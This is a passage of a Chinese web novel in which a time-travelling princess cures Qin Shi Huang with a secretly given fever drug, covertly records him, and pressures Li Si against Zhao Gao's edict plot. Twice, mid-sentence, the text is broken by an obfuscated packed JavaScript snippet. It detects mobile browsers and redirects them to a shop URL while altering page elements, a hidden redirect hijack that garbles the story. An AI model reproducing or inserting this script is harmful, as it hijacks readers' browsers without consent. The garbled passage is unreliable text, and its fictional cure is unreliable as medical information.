赵高之前和子婴在朝堂上有过几次接触,对他没有什么特别的印象,也没看出他有过大的野心,可他却在这样敏感的时间,无缘无故离开咸阳,来到沙丘,这个行为难免会让人起疑心。 其实不是无缘无故—— 子婴再三强调,是仙人赐福公主,告诉她沙丘有大机缘,自己才千里迢迢带着公主来到沙丘,寻找机缘。 此话当真? 真个屁呀。 赵高转头看向坐在东向,一边玩自己手指甲,一边嘴里不停地念叨着什么急急如律令,妈咪贝贝哄的十一公主。 公主的疯病真是越来越严重了。 再看子婴这边,无论怎么套话,怎么引导,依旧是这套荒谬的说辞,没有半分改变,口风堪称无坚不摧。 脸上还带着礼貌的微笑,客客气气的看着你,彬彬有礼,斯斯文文,没说一句不好的话,但就是让人平白冒出一股无名怒火。 赵高想到一个很粗糙的比喻,简直就是溷轩里的臭石头,不仅恶心人,还让你也无法攻击到他。 赵高只好脸上带着礼貌的微笑,气气地对子婴告辞。 子婴:和和气气。 赵高:气气。 然后又气气地回到自己屋室,生了一会儿闷气,一轮对决下来,他心中担心的依旧还是那封诏令。 金燧、青铜盆,作为引燃物的艾绒,这次无人打扰,赵高从秘格中取出诏书,将其扔到盆中,烈火熊熊燃烧,将诏书烧得焦黑成粉,也将他的担心忧虑全部烧关。 赵高是个谨慎的人,毁掉物证之后,他还打算在邮人那边安排几个替罪羊,这样万一日后东窗事发,他还能有个推卸责任的。 这时刚刚被他派出去调查子婴的小宦官也回来了,向他禀报自己刚刚收集到的信息。 他刚刚去翻阅了司空令那边的卷宗,终于查到子婴的父亲的好友的侄子的内人的哥哥就是为数不多知道陛下病重的大臣之一。 关系很乱,但经过赵高抽丝剥茧般的分析,终于弄懂了这个大奸臣子婴的目的。 估计是知道陛下病重,便弄出那样大的一通动静,再借着护送公主的名义来到沙丘,想要趁机牟取些好处。 啧啧啧,真是个大奸大恶之辈啊! 赵高摇了摇头,感叹道。 持公主以谋私利,这和当年挟天子妄图指使诸侯的郑庄公有什么区别? 可怜的傻公主哦。 殊不知,等他走后,他口中那位脑子不好的公主迅速起身,去找嬴政。 朝中没有人脉就是不行,干什么都困难,就算是想去见自己的爹,都需要找关系。 一通关系找到丞相李斯那边,皇帝病重,乃国家大事,稍有不慎,就会引起各方动荡,除了服侍的近侍和朝中重要的文武大臣知道,这个消息被重重封锁。 李斯也纳闷青琅为什么现在来找嬴政,但和赵高的装傻充楞不同,李斯这边,青琅直接自爆,说在梦中看到自己嬴政病重,想念父亲,固来看望。 孝感上苍,就连仙人都为之动容,这通说辞放到后世,怎么也能被写进到二十四孝典故中。 嬴政病重这个消息保密程度远比嬴政死亡的保密程度低,所以虽然李斯对于她的说辞半信半疑,但还是在嬴政睡醒,确定身体无碍后向他禀告,并得到了同意。 就这样,青琅成功进入嬴政的寝殿。 进门前的那一刻,青琅将这世上所有悲伤难过的事情都想了一遍,尤其是自己可能马上就要被车裂了,想到这个,她的眼泪像大暴雨一眼流了下来。 看得周围巡逻卫士心中纷纷感叹,十一公主还真是至纯至孝啊! 脱下鞋履,跑过宽阔的厅堂,最终在一块精致美丽的屏风前停了下来。 青琅吸了吸鼻子,小声唤道:“父……父皇。” “青琅……”在这个病人的脑海中,她的声音已经是很遥远的回忆了,他已经有两年,或者是三年没有见到这个女儿了吧? 临终之前,能陪伴在她身边的子女,居然她的幼子和幼女。 一只纤瘦的手从屏风内伸出,朝自己的幼女挥了挥手:“青琅,过来。” 青琅在嬴政的床榻旁跪坐下来,这位曾经高大、威严、雄才大略的君主,如今却憔悴如风中残烛。 伸手握住他那如枯枝般的手臂,贴到自己的脸颊上,努力做出一个父亲病入膏肓的女儿应该有的表现。 她感觉到,嬴政的手很烫。 嬴政用手指拂掉青琅脸上的泪水,年少还带着婴儿肥的脸颊,恍惚间又有一些记忆涌入他的脑海,不过不是青琅,而是扶苏,以及他的前几个孩子。 那时候,他刚刚有了自己的血脉,看着怀中小小的婴孩,没有经验,不知道该怎么逗弄,便只好用手去触碰婴孩皱皱巴巴的脸颊,怕伤到婴孩,所以力气很轻,很轻。 可是现在,他面前的不是弱小的婴孩,而是即将长大成人的青琅,逐渐长开的脸上有一双和自己九分相像的丹凤眼,透过这双眼,他似乎看到了年富力强时的自己。 嬴政放下手臂,问道“青琅,你怎么来这里了?” 青琅将自己编的那套说辞告诉嬴政,又道:“父皇,仙人告诉我,人有三魂七魄,儿臣之前呆笨,是因为有一魂一魄游离在身体之外,如今魂魄归位,儿臣也就变正常了。” 苦求多年的仙人,却同自己的女儿有缘,嬴政心中还未来得及百感交集,便又听青琅说道:“父皇,您不会有事的。” 她解释:“梦中仙人曾言,保我大秦国祚延绵,社稷长存,您乃我大秦之根本,如今病症虽重,但必能遇难呈祥,逢凶化吉,您的病会好的。” 这句话让嬴政原本就强的求生欲又达到一个新的顶峰。 他拼命去抓那些可能实现的救命稻草,有被自己亲自除掉的恶神、有前往各处祭祀山川为自己祈福的蒙毅上卿,兴许是蒙毅的真心感动了山川之神,为自己延续寿命。还有刚刚青琅说的那些话。 也不知是不是错觉,还是回光返照,嬴政感觉自己身体的确轻松一些。 其实青琅说的那也话也不全是安慰。 她从进来时就在悄悄观察嬴政,舌苔发白,全身不受控制地发抖,偶尔还会牙齿发颤,这是肌肉剧烈产热的表现,身体的温度远高于普通人,却又畏风怕冷,七月的天也还盖着寝衣。 青琅从这些症状中大概猜到了嬴政得病的原因。 这趟巡游,从去年十月开始到现在,已经九个月了,路上颠簸劳累,嬴政勤政,每日都要处理将近一百二十斤竹简的政务,工作强度极大,这样已经很辛苦了。而六月天气逐渐炎热,他还亲自去海上射大鱼,海风一吹,很容易吹中暑、吹感冒了。 哦,再加一个服用方士们练出来的重金属仙丹。 桩桩件件,单拎出来都会对身体有巨大的损耗,而嬴政身上居然同时把这些都集齐了。 这样看来,能熬到现在,他身体里免疫系统打的是超级高端局啊! 正说着,门外传来声音,寺人端着一个小木案放到屏风前,案上有一碗正在冒着热气的汤药,恭敬道:“陛下,夏太医的药已经熬好了。” 青琅努力扮演一个大孝女的角色,主动请缨,亲自喂嬴政喝药。 她从寺人手中接过药碗,借着宽大衣袖的掩盖,往里面放了半颗对丙酰氨基酚颗粒。 这是一种广泛使用的解热镇痛药,具有退烧止痛作用,安全性还高。 青琅搅了搅药碗,先自己喝了一口,一来是为了防止有人对嬴政下毒,二来是尝尝药的温度如何,会不会烫到嬴政。 后世就有个类似的例子,汉文帝尝药,还进入二十四孝典故了呢。 过了一会儿,等到汤药温度适中,青琅才端起药碗,用握拳那只手的食指和大拇指中间夹着云纹小匕,一口一口地为嬴政喂药。 嬴政将注意力全部放在了汤药上,没有注意青琅手部的异常。 喂完药后,青琅又和嬴政说了几句话,这次她尽量往父慈子孝这个话题方向上靠,尤其重点提起扶苏和胡亥两位兄长。 她的实际目的和亲情无关,反而别再腰带里面的微型录音机正处于工作状态中,将她和嬴政的对话全部录了下来。 嬴政现在的身体状态,只能和他说好消息,让他更有盼头。不能说坏消息,若是青琅直接把赵高做的那些事全部都告诉嬴政,万一把嬴政气死,那岂不是还落下一个气死父亲的不孝罪名? 青琅得做三手准备,她不确定赵高有没有留着那封诏书,更不确定现代药物能否治好嬴政的病,若是找不到诏书,又治不好病,那最后不还是胡亥称帝吗? 所以她把嬴政说的和扶苏胡亥有关的话全部录了下来,剪辑一番,大庭广众之下放出,满朝文武都会以为是嬴政死不瞑目,即使只有魂魄,也要告诉诸臣谁是他真正选择的秦二世。 穿越秦朝,为了生存,不会点录音的基本原理又怎么行呢? 可惜她空间里只有一个录音机,否则行宫中每个宫殿都放一个,什么秘密都逃不过她的耳朵。 从嬴政殿中出来之后,青琅也没有回去休息,而是又去拜访李斯。 时辰已经很晚了,天色黑暗,零星几颗星子黯淡地挂在天空中,屋室内被点燃的灯烛上,火焰左右摇摆,映照在李斯的脸上,一闪一闪的。 二人对坐在书案前,李斯今年七十三岁,在寻常人家,这是含饴弄孙颐养天年的年纪,可他的仕途却正处于上升期,兢兢业业在大秦官场里干了几十年,这也才是他当丞相的第六年。 头戴獬豸冠,身穿黑色交领宽袖袍,腰间佩绶,鬓发间已夹杂许多霜白,但他的身体依旧矫健,脊背挺得笔直,他长的就很精明,一双细长的眼睛,眼白泛黄,高颧骨,深眼窝,因为嬴政病重而愈发消瘦的脸颊,仿佛没有脂肪,而是面皮直接覆盖在头骨上似的。 青琅年轻身体棒,一天高强度连轴转,回去睡一觉就能恢复精力,李斯可不一样,白日在丞相的岗位上吭哧吭哧忙了一天的工作,傍晚被赵高找过去,想要和他合谋一件堪称大逆不道的事情,虽然李斯没有答应,但想想还是冷汗直流,心里生理上双重疲惫。 现在大半夜的,又有个十一公主来拜访自己。 真是令人头大,到底能不能放过他一个老人家啊! 他先开口:“公主纡尊寒舍,有何吩咐?” 李斯忍不住,率先开口,青琅似乎在他的语气中品出了一点“有事快说,我没时间”的味道。 青琅没有说事,反而先问:“丞相看起来似乎有心事?” “看您脸色不好,是生病了吗?还是最近公务多,太累了?” 李斯沉稳道:“多谢公主担心,老臣无碍。” 青琅:“是这样的,我这次来找您,是有一件事想不明白,想要求您为我出个主意。” 李斯连忙反驳:“公主折煞老夫了,您有什么问题,尽管提出,我一定会尽我所能来帮助您。” 李斯深受嬴政看中,他有四个孩子,二子二女,两个女儿全部都嫁给了大秦的公子,两个儿子娶的也是公主,李家和嬴政一脉的关系,比许多宗室中人都亲密。 李斯曾听说过,十一公主似乎是个傻子,可现在看来,她的脑子和普通人也没什么两样啊。 青琅也知道李家和皇室的亲密关系,正是这样,她才意识到,李斯这个人,精神力真的很强大。 正常人在知道自己的儿媳全部被车裂,女婿也都被杀死弃市后,早就崩溃了,他居然没有疯,而且还试图继续将胡亥往正道上劝。 此人求生欲极强。 李斯发现,青琅看自己的眼神突然变了,变得高深莫测,似乎要将自己看穿,连带着刚刚和赵高的对话也逐渐浮出水面,摆到台上。 青琅:“丞相,我在咸阳时,曾经读过一本书,里面有一个小故事令我记忆深刻,每每想到,心中总是恐惧惊慌。” 李斯来了兴趣:“敢问公主,您读的是什么书?” 青琅:“斯相可知——《韩子》这本书?” “当然知道了。”提到这本书,李斯表情有些尴尬。 《韩子》其实就是韩非子,唐朝之前,人们都称韩非子为韩子,唐朝之后,为了将他和唐宋八大家之一的韩愈分开,才称他的全名韩非子。 韩非是韩国的贵族,自小就喜爱刑名法术学问,他和李斯都是荀子的学生,在荀子处学习时,李斯主动承认他的学识比不上韩非。 韩非有口吃的毛病,却很擅长著书立说,韩国是七国中最弱的国家,韩非看到韩国国力逐渐衰弱,曾经屡次上书劝说韩王改革。 韩王没有采纳他的意见,但秦王却很看好他的著作,甚至说出一句名言“嗟乎,寡人得见此人与之游,死不恨矣。” 我要是能见到他并和他交往,死也不算遗憾了。 那时候的秦王嬴政还很年轻,对长生这种事情不太痴迷,要是秦始皇版的嬴政,是肯定不会说出这句话的。 后来秦国大军攻韩,韩王走投无路之际,派遣韩非出使秦国,给他安了个和亲公主的剧本。 嬴政虽然欣赏韩非的才华和法家思想,但却并没有重用他,韩非总是上书,洋洋洒洒写了一整卷书,建议嬴政先攻赵魏等其它国家。 韩国愿意在外当秦国的屏障,为秦阻止其它国家的进攻,在外为秦国的草席和垫子,供秦国使用。 明白人都能看出他的真实意图,就是想让韩国存活的时间久一点呗。 瓜果要挑软的捏,韩国最弱,交通也重要,当然先打它啊。 后来李斯姚贾等人上书,认为留着韩非就是给秦国留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463323|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下祸患,嬴政认同李斯的观点,秦国司法官吏就随便给韩非定了个罪。 还是李斯亲自派人去送的毒药呢。 嬴政后来后悔了,不想杀韩非,但很显然他的后悔没有李斯送毒药的手快,那时候韩非已经死在狱中了。 据太史公所言,李斯没有他自己嘴上说的那么正义,单纯是嫉妒韩非的才华才害死他的。 只单单一句话,李斯还不确定青琅到底是为了寒碜他,还是真的看过《韩子》,才提到这本书的。 因为韩非为了让自己的文章更简单易懂,在书里写过很多小故事小寓言,什么守株待兔、买椟还珠、自相矛盾之类的,全部出自韩非。 青琅开口,语气不疾不徐道: “《韩子·求存》篇有这样一个故事。” 求存?李斯想了半天,都没有关于这篇文章的记忆,兴许是他藏起来的孤本吧,李斯这样猜测。 “在楚国,有一商贾人家,他们家非常富有。可人性是贪婪的,有了这辈子都花不完的钱后,又想要跨越阶级,成为官吏。” “楚王欣赏勇士,某天他在全国下了诏书,哪位勇者能猎到最珍稀的猎物,他就给这位勇者县令的官位,富人钻进深山寻找了将近半个月,都没有找到满意的猎物,眼见诏令上的时间越来越近,他也越来越忧愁烦躁。” “这日,他在山中偶遇一猎户,猎户手中有一白色麒麟,一只头生一角而足有五蹄的兽,富商眼前一亮,走上前同猎户攀谈,猎户因为久居深山,不知道楚王的诏令,因此便以三十金的价格,将这只白色麒麟卖给了富户。” “富户拿着麒麟上交楚王,谎称这是他自己猎到的异兽,如愿得到了县令的官位,可商人都是卑贱的,富商当县令的时候,大肆牟利,导致法度混乱,禁令不行。” 韩非不喜欢商人,认为商人和那些侠客、儒生等都是社会的蛀虫,这个寓言,言辞间倒颇有些韩非的味道。 “再后来,猎户知道了商人的秘密,他来到县衙质问富户这件事,让富户给他个说法。每每读到这里,青琅总是忍不住思考,若我是这名商人,该如何处理这件事呢?” 十一公主可真是奇怪,李斯心想,普通人都是将自己带入到被骗的猎户,她怎么会觉得自己是反派富商呢? 但他还是依青琅所言,代入到富商视角,思考解决办法,这一代入,他又想到了一些更深层的东西。 越是代入,便越是心惊。 青琅:“如今我身居县令之位,掌管一县之人,又可借机敛财,钱权皆有。若是他将我的秘密说了出去,那我不仅会失去现在得到的一切,还会因为欺骗楚王而被处死。” 青琅还在继续说话,李斯却已听不太清了,他感到一阵眩晕,夜晚的风透过窗户吹拂到他身上,将他吹出了一身冷汗。 对面之人的嘴巴还在张合,可他听来听去,却只听到了一句话:“他知道了我的秘密,我一定要杀掉他。” “他知道了我的秘密,我一定要杀掉他。” “他知道了我的秘密,我一定要杀掉他。” …… 所谓求存,便是谋求生存。 公主是不是知道了什么? 青琅:“丞相,中车府令刚刚找过您,是吗?” 坏了,公主还真知道一些秘密。 他咬牙,艰难回答:“……是。” 这可不是青琅神机妙算,史书上也没写这件事,单纯是英布刚刚去跟踪李斯了,又将他的踪迹告诉青琅。 原本英布还想趴在房顶,贴在门口继续偷听点消息呢,不过行宫中的卫士搜查的实在太仔细了,他只能离开。 离开前只听到了一句话,是那个白胖白胖的大官对丞相夸奖一个叫做胡亥的公子的话,说他仁慈善良。 这些消息足够青琅发挥了。 “让我猜猜刚刚中车府令对您说了什么吧。”她语气和缓,态度温和,却每一句话都像是一柄大铁锤,重重地砸到李斯心上,将他的心脏砸成一片一片,“他说让您和蒙恬比一下谁的谋略更高,谁更有本事,谁更受百姓官员拥戴,哦,对,是不是还问了您觉得自己和蒙恬谁和我大王兄关系更好?” “他还说胡亥慈悲仁爱,礼贤下士,轻视钱财……”洋洋洒洒好几个优点后,“在陛下的儿子中,没有人能赶得上他。” 说到这句话时,青琅都快吐了,不过最后一句话是对的,嬴政众多子女中,没有人会比他更畜生。 那个长着人脑袋的畜生,都能决战上下五千年之畜生之巅了。 青琅又说了许多《李斯列传》中描写的话,其实她说的并不完全相同,因为司马迁又不是当事人,而且汉武一朝距离秦末都将近一百年了,肯定会有许多误话。 但这也足够李斯害怕。 因为子婴突然横插一脚,赵高更加慌了,去找太医询问嬴政的病情,得知他的死期就在这两三天之内,提前来找李斯商量历史上的矫诏计划。 李斯是拒绝的。 除了李斯,就连历史上的胡亥都推辞三次才同意当秦二世,虽然有很大作秀的可能。 现在李斯相信青琅的话了。 相信青琅有仙人的机缘,否则怎么会讲这些话全都复述出来?要知道,他和赵高都是谨慎的人,尤其谈论的还是这种全家都掉脑袋的事情,更不可能会出现有人偷听这种情况。 赵高是胡亥的老师,而且赵高竖子嘴巴还甜,讨人喜欢,相比自己,他们之间关系才更亲密、倘若是自己一时糊涂,鬼迷心窍,同意了赵高的计划,那日后胡亥上位,自己这个唯一知道他们计划的“猎户”,安能有好的结局? “丞相,蒙恬会是二十年前的韩非吗?” 李斯闻言,立刻行礼下跪:“老臣不敢。” 青琅:“李斯,你位列丞相,做臣子的没有人比你职位更高,可以说是荣华富贵到了极点,然而日中则昃,月盈则食,事物发展到极点会就开始衰退,你的归宿又在何处呢?” “你已经七十三岁了,就算死于政斗,也算很精彩的一生,可是你的子女呢?李由呢?他们也要和你一起死吗?被人陷害出现在咸阳街市上,感叹一句想要和儿子一起牵着黄狗,去上蔡东门打猎追逐兔子,然后一家人整整齐齐去死吗?” 这次李斯更害怕了,就连身体都抖得厉害。 十一公主这已经不是政治嗅觉很敏锐的程度了,她还很神。 褒义上的很神,连他在自己家门口感叹的一句话都能说出来。 却又很鬼,像个鬼一样无时无刻地监视着自己。 青琅就坐在书案前,看着李斯,一句话不说,似乎是在和他博弈谁最先忍不住出声。 李斯:“公主,赵高之言,只是他的一厢情愿罢了,李斯追随陛下数十年来,深受陛下天恩,无以为报,是绝对不会做出这样有害国家社稷的事情。” “如今陛下病重,沙丘行宫中只有您与胡亥公子两位皇室血脉,李斯愿为您所驱使。” 青琅摇了摇头,却提醒他:“你是我父皇的官员,不是我的官员,你之后做的事情,都是为了我父亲做的,而不是为我做的。” 李斯:“喏。” 李斯心中感叹,十一公主这幅神态,真的很像陛下。 到底是哪个枉口拔舌的妄传谣言,十一公主和痴傻沾不上一点儿边,她审判我的时候明明精的要死。 6. 告发 青琅离开了,李斯的心却并未平静。 他刚刚差点陷入深渊,幸好及时醒悟,从深渊之中拔出腿来走到岸上,现在想想,依旧忍不住两股颤颤,胆战心惊。 说实话,李斯是没有将赵高放在心上的,至少他在李斯这里的竞争力远低于蒙恬、王离等人。 赵高,一个出身隐宫,犯过罪差点被处死的低贱奴仆,因为熟识狱法文学进入秦宫,侥幸得到陛下的赏识而随侍左右,没有利于国民的功绩,也就是一本《爰历篇》被学室中史子当做了字帖。 但不得不说,他在蛊惑人心这方面,他很有能力。 这世上最大的耻辱莫过于卑贱,最大的悲哀某过于贫穷,而他李斯最想要的就是功成名就,高官厚禄。 赵高也正是看穿了他这个心思,所以上来便以蒙家兄弟做对比,又假装很不经意间提到秦国从来没有被罢免的丞相功臣能将封爵传给下一代,结果都是以被杀而告终。 点谁呢?点谁呢?好难猜啊! 赵高说的没错,商鞅五马分尸、张仪逃亡魏国、魏冉身折势夺而以忧死、范雎罢相后病死。 哦,还有上一个政权更迭时的丞相吕不韦,被流放蜀地,喝鸩酒自杀。 想到这些,李斯真的慌了、害怕了、凄然了,他不想成为上面的任何一位。所以即便没有同意赵高的建议,他也没有狠狠地骂他一顿,并将他的大逆不道想法公之于众。 但是现在经过青琅一提点,李斯眼界宽阔许多。 他不仅将目光聚焦在秦国内,更展望在秦国外。 魏国臣子吴起,变法第一人,比商鞅更早提出变法,魏文侯死去,遭谗言陷害,逃到楚国,在楚国给楚王兢兢业业干了好多年活,结果呢,楚王一死,他连楚王头七都没熬过,被那些贵族们射死在楚王灵堂里。 还有乐毅,和管仲其名的能臣,辅佐燕昭王振兴燕国,下一任燕王继位后,演都不演,直接阵前换将,就差把猜忌这俩大字刻在脸上了。 历史是一面镜子,也是一本厚重的书,只要认真,不难从里面找出类似的例子,李斯是个聪明人,刚刚只是事发突然,来不及细想揣测,可现在将遮在自己脑中的那块薄布掀开,很轻易便推测出千年后的一句话,所谓万里江山万里尘,一朝天子一朝臣,权力的阶梯永远在变,即便胡亥继位,他也不会有好结果。 千年之后,自己的经历是否也会被撰写在这本名为“历史”的书上,供后世百官公卿查阅参考? 李斯心中千头万绪,根本睡不着。 同样,赵高亦未寝。 自嬴政病重,朝中诸臣或许已经把睡眠进化掉了。赵高找完李斯,立马又去找胡亥。 胡亥是他心中最完美的秦二世人选,他必须抓住这稍纵即逝的机会。 不仅因为赵高曾是胡亥的老师,教过他秦法,最重要的原因是胡亥脑子不聪明。 别的公子,遇到事情,都有一套属于自己的看法和解决方案,胡亥不同,他人生最大的追求就是吃喝玩乐,遇到事情第一反应就是逃避,只是一个恰好长了人脑袋,会直立行走的蠢猪而已,若他上位,只要稍微忽悠两句,还不是自己说什么他就信什么。 赵高说出自己的目的,胡亥没有答应。 胡亥的回答还挺冠冕堂皇。 胡亥认为,圣明的父亲很了解自己子嗣,既然嬴政没有立他当秦二世,那就证明自己不适合当皇帝。 废除兄长为不义,不服从父亲的诏令为不义,才能浅薄却登上皇位为无能,所以如果他当上皇帝,不光自己会遭受灾祸,国家也会灭亡的。 这些话都在赵高的意料之中,在大事上,胡亥是个胆小的人,尤其这次还要搞一件这么刺激的事,如果胡亥直接答应,那才是真正和他的性格不符。 又劝了一会儿,赵高才从胡亥这里离开,他能听出来,相较开始,胡亥的态度有很明显的软化。 …… 第二天天还没亮,青琅便以侍疾的名义,早早守在了嬴政殿门口。 等了大概两刻钟,嬴政还没醒,倒是先等到了另外一个人。 胡亥身后跟着一群寺人侍女,大张旗鼓来到这里。 胡亥今年二十一岁,年轻不懂事这五个字只占了后三个,大秦皇子的身份让他得以衣食住行样样精细,又继承了老赢家的好基因,五官容貌是好看的,气质也是富贵的,不过他平日里纵情肆欲,沉迷酒色俳优,难免显得轻浮与堕落。稍微聪明些的人,只要与他说上几句话,有过几次接触,便能看出他骨子里的骄纵与蠢笨。 见到青琅,胡亥也很惊讶。不过和别人暗暗在心中分析形势不同,胡亥选择直接提问。 “小傻子,你怎么会在这里?” 说着,他走到青琅面前,抬起胳膊就要用手指去弹青琅的脑门儿。 青琅侧身,躲了过去,她躲得太快,胡亥一时没反应过来,由于惯性,弹到了青琅身后的廊柱上。 凶手食指上还带了个实心儿的大绿松石戒指,若不是青琅躲得及时,估计会被敲个脑震荡。 胡亥边跺脚边嚎叫:“痛痛痛……好痛!” 他不敢叫得太大声,怕将嬴政吵醒。 “青琅!你是不是欠揍了!”胡亥一边握住自己受伤的手指,一边斥责青琅。 青琅歪了歪头,表情无辜:“阿兄,我做错了什么?我什么也没做错,只不过是在你要欺负我的时候躲了一下,连还手都不敢啊。” “子婴阁下说过力的作用是相互的,一定是你打我的时候太用力,所以也被柱子很用力的打回去了。这叫……”青琅做出一副恍然大悟的样子,“对,这叫自食恶果!” 此时,远处正在被赵高针对的子婴默默打了个喷嚏。 胡亥气鼓鼓道:“你这个臭傻子,给我等着。” 青琅:“傻子骂谁?” 胡亥下意识接道:“傻子骂你。” 青琅:“哦。” 青琅:“那就是傻子吧。” 见青琅反应平平,犹如一拳打到柳絮里,胡亥有点失望,心中暗骂果然脑子不好,连被人骂都没有反应。 场面莫名陷入一种诡异的安静中。 不对! 一分钟后,胡亥终于回过味儿来! 自己好像被耍啦! 他今天就要以一个兄长的身份,好好教训教训青琅。 可惜,他还没来得及发难,就被迫停下,因为里面传出消息,嬴政已经醒了,召两位公子公主进殿。 嬴政原本只想召青琅进殿,但胡亥来都来了,这孩子虽然被宠得骄纵了些,可总不能单独把他冷落在殿外吧? 嬴政躺在龙榻上,上半身斜倚着一个朱绘云纹黑漆凭几,青琅趁着行礼的功夫,偷偷观察嬴政,发现他的脸色和精气神都比昨天好上太多。 五十年来从未吃过任何科技西药的古代人,第一次吃非甾体抗炎药,治疗嬴政的重病就仿佛折断枯草,捣烂朽木一样,简直易如反掌啊。 事实上,嬴政也很明显感受到了身体的变化,高热退了,头痛减轻了,就连身体都有力气了。 见到嬴政,胡亥先在眼睛里挤出几滴马尿,假装很悲伤的样子,哭诉自己对嬴政的担忧。 和昨日同青琅相见不同,嬴政觉得胡亥哭哭唧唧有点吵。 ——唉,好歹是小儿子的一片孝心。 如果是昨天,他病得最严重的时候,兴许还会对胡亥说上几句叮嘱之言,人之将死,其言也哀,但现在就不同了。 他又不会死,还说什么遗言? 胡亥没哭几句,就显露本性,向嬴政告状青琅欺负他,还说自己手疼。 青琅照实解释,听清原委后,嬴政罚胡亥回去抄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463324|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍秦律十八种,并借着这个机会把胡亥给打发走了。 当然嬴政是病了,不是傻了,即使她不解释,也能看清事件始末。 离开之前,胡亥怨毒地看了一眼青琅。 眼刀子又不能真剜掉人一块肉,青琅继续该干嘛干嘛,先是安慰嬴政一通,说他的病肯定会好,寺人端来汤药,她顺手接过,又在里面放了小半颗药,等到温度适中,喂给嬴政。 喝完药,工作狂嬴政人设不倒,命人取来竹简,处理政务,青琅则是跽坐在旁边,为他磨墨。 不是后世那种蘸水之后就能化掉的墨,而是一种很硬的天然矿物颜料,需要用砚石将它放在蚌壳做的砚板上研磨捣碎后才能使用。 这期间,嬴政终于注意到青琅握紧的左手,于是发出疑问。听完她的解释,心中也起了好奇。 合适的时机? 什么时候才会是合适的时机呢? 可惜神仙的想法不能被凡人随意猜测,只能随缘。 青琅绞尽脑汁想如何才能长时间留在嬴政殿中侍疾,方便她随时下药,令她没想到的是,嬴政居然主动提出这件事。 嬴政认为青琅能为自己带来福祉与好运。 之前喝了那么多汤药,吃了那么多仙丹,不仅没用,反而快给自己喝去见先祖了。 反之,昨日见到青琅,今晨身体便有好转。 谁是福星,不言而喻。 处理完政务,嬴政又有些疲累,打算小憩片刻,青琅趁机退出房间。 英布早已在角落里等候多时,一见到青琅的身影,便迫不及待上前询问:“公主,需不需要我去盘问盘问沙丘周围传舍邮驿的邮人?” 他到沙丘之后才知道青琅的计划和前因后果。 心里不仅没有对卷入皇室秘辛的害怕与恐惧,反而全是对即将要去干一件大事的激情、热血、澎湃! 英布的建议被青琅否定。 若是按照原本历史走向,她肯定会抓紧机会偷偷调查这件事,等到时候给赵高致命一击的, 但嬴政身体逐渐好转,和盒饭说了拜拜,她更想让嬴政亲自处理这件事情。 在君王眼皮子底下偷偷做出这么多大事,青琅不确定嬴政是否会猜忌,或者认为这是对他权柄的轻视——虽然他之前病重,虽然青琅并非轻视权柄,只是觊觎权柄而已。 而且嬴政一国之君的威严,肯定比他们几个卫士加一个英布查出来的东西多。 兴许他们费劲巴拉累死累活调查好几天的事情,嬴政手下大臣直接发一个调查问卷就能解决。 沙丘行宫中笼罩着一股凝重的氛围,每个人都恨不得心里藏着百八十件的事,和他们的阴翳肃穆不同,嬴政身体越来越好,又过了两天,便恢复的差不多了。 后世有俗语云病去如抽丝。可对于嬴政来讲却恰恰相反,简直病去一阵风,还是一阵疾风,他这病好的又快又猛。 长久卧榻,身体不便,起身在殿内走了几步,只觉身体轻健,神清气朗,刚开始只是正常步伐,而后逐渐大步流星起来。 不不不,只在殿内还不过瘾,嬴政走到窗牖旁,没有下令,而是亲自打开一个角度,入目所见外面天气晴朗,碧空如洗,晴朗的阳光透过小口照到嬴政身上,暖烘烘热乎乎的,很温暖。 今日无风,阳光又好,嬴政命人为自己更衣,出了把自己困住将近半月的宫殿,在沙丘行宫中信步漫游。 死里逃生的他忍不住感叹,活着真好啊。 根本没注意宠信的中车府令已经整整一天没有出现在自己眼前了。 嬴政在外面走了大约两刻钟的时间才回殿,青琅推测按照他现在的身体状况应该能承受一个儿子不孝,宠臣不忠的噩耗,于是走上前去,说出心中准备多时的话。 “父皇。”青琅大义凛然道“儿臣有要事向您禀报。” 7. 威胁 死里逃生的嬴政脸上挂着微笑:“何事?” 现在是他数年来,心情最好的一刻。 花儿是美丽的,天气是温暖的,身体是充满力气的,大秦是未来可期的,仙人是偏向着嬴氏的。 而那些四处作乱的乱臣贼子六国余孽们,很快就要去死了。 青琅:“儿臣要告发中车府令赵高私藏天子诏书,意欲矫诏,祸乱朝纲,罪不容诛!” 嬴政:?!!! 嬴政:“十一,此事事关重大,不可胡乱言语。” “儿臣没有胡说。”青琅解释道,“儿臣之前曾说,我的一魂一魄一直在外游荡,直至前些日子才回到自己身体之中。此事并非偶然,而是仙人有意为之。” 青琅表情真诚,嬴政听得认真,或者说,有关仙人的消息,他都会听得很认真。即使已经在这上面吃一堑吃两堑吃三堑了。 “前些日子,我魂魄游到幽冥之都,此处阴暗森冷,所见景象皆触目惊心,我心中害怕,想要尽快逃离这里。可这里实在太大了,我的魂魄在里面迷路了,左拐右拐,拐到了一个叫做“监控室”的地方。” “监控室?” 这名字……还真是有掌控欲啊。 “对,就叫监控室,据说这监控室可照世上三千红尘景,不过儿臣肉体凡胎,只能看到一片模糊,唯有一小块水镜是个例外,上面画面特别清晰,仿佛置身其中,我凑到水镜前细看,发现上面的景象是……” 青琅故意停顿片刻,看似是被景象吓到,实则是为了勾起嬴政好奇心。 “您病入膏肓,写了一封诏书给大兄,让他回咸阳主持葬礼,可赵高却并未将其交给使者,而是偷偷藏下……” 